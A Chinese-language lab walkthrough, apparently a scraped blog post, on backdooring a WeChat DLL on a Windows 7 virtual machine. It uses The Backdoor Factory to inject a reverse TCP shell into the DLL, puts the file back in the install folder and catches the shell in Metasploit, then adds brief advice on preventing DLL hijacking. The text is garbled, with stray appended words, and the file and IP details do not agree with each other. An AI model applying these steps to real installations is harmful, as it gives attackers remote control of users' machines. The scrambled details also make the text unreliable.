微信DLL劫持反弹shell复现

 最近恰好在作PPT的dll劫持测试,如今就随便拿一个程序来练练手。增长一下熟练度。本测试纯属学习测试过程,不可用于非法操做!!!python

 

1、测试环境git

 

 

  工具下载地址:github

    (1)BDF,劫持工具,可用于DLL注入,https://github.com/cream492/the-    backdoor-factoryshell

    (2)ProcessExplorer https://process-explorer.en.softonic.com/任务管理工具,本实验中用于查找微信程序调用的 DLL 文件微信

 

2、测试过程tcp

 

1
在 Win7 虚拟机中打开微信登陆窗口,须要扫描登陆的窗口便可;然 后开启 ProcessExplorer,在运行程序列表中找到微信,而后在菜单栏中找“View”—>“LowerPaneView”—>“DLLs”,或者 ctrl+d, 接下来能够看到微信登陆页面调用的动态连接库 以下图所示工具

测试使用的DLL是libEGL.DLL 文件学习

理论在微信安装目录下其余的DLL文件均可以 有待测试测试

2虚拟机

在kali 中下载 Backdoor - factory www.gendan5.com

执行 ./backdoor.py -h 出现测试安装是否成功

将 Win7 安装的微信程序目录中的 libEGL.dll 拷贝到 kali 系统中,放于 the-backdoor-factory 下,运行命令以下:

python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 8888 -H 192.168.114.140

其中,-f 表示被劫持的 DLL 文件,-s 表示 shell 的类型,-P 表示 DLL 要链接 远程主机的端口,-H 表示 DLL 链接的远程主机,注意参数的大小写问题

 

3
而后能够看到生成的文件放在 backdoored 目录下

而后将该文件从新放置在win7的微信安装目录

4
打开kali中的msf 设置exploit 和payload,随后设置 lhost 和 lport, IP 是 192.168.112.140,端口是 8888,最后输入 exploit 或者 run,监听过来的 shell。

5
在win7中打开微信 不须要登录 就能在kali中接受到反弹的shell。

反弹shell命令

 

3、预防DLL劫持

 

    (1)DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。因此能够告诉系统DLL的位置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
这个想法能够经过修改注册表实现:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerKnownDLLs是调用系统DLL的首要查找目录;例如里面有RE_SZ类型的"ntdll"="ntdll.dll"项,则系统载入"ntdll"时会直接从系统目录加载;

由此,添加"LPK"="LPK.DLL"便可防止LPK被劫持,同理能够阻止一些其余DLL被劫持,例如"USP10"。    在Windows NT系统,XP默认只有少数关键DLL在此键值下,Win7下面此键值已经至关齐全,在Win7系统下发生DLL劫持的几率要比XP小不少。(借用百度的预防知识点)    (2)还能够经过第三方工具进行dll劫持检测。DllHijackAuditor可以防止木马病毒劫持系统中的dll文件加载运行,是一款很不错的dll文件保护工具。    (3)坚持从官方下载软件,拒绝第三方。万一有后门呢?

相关文章
相关标签/搜索